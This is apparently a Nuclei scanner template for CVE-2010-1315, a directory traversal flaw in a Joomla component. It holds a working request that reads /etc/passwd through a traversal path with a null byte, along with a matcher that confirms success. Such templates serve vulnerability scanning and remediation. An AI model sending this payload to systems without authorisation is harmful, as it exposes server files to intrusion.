id: CVE-2010-1315

info:
  name: Joomla! Component webERPcustomer - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11999
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1315
    - http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57482
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1315
    cwe-id: CWE-22
    epss-score: 0.08233
    epss-percentile: 0.94171
    cpe: cpe:2.3:a:joomlamo:com_weberpcustomer:1.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_weberpcustomer
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,joomlamo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e17f9a1b1c546648159cfc73896bedbaf919ac7f8aeadd6b589ed81e0c02360b022054b00635c3677b366eccabf0f12e86d686b33f597178bff51a5d4a31afaa51bc:922c64590222798bb761d5b6d8e72950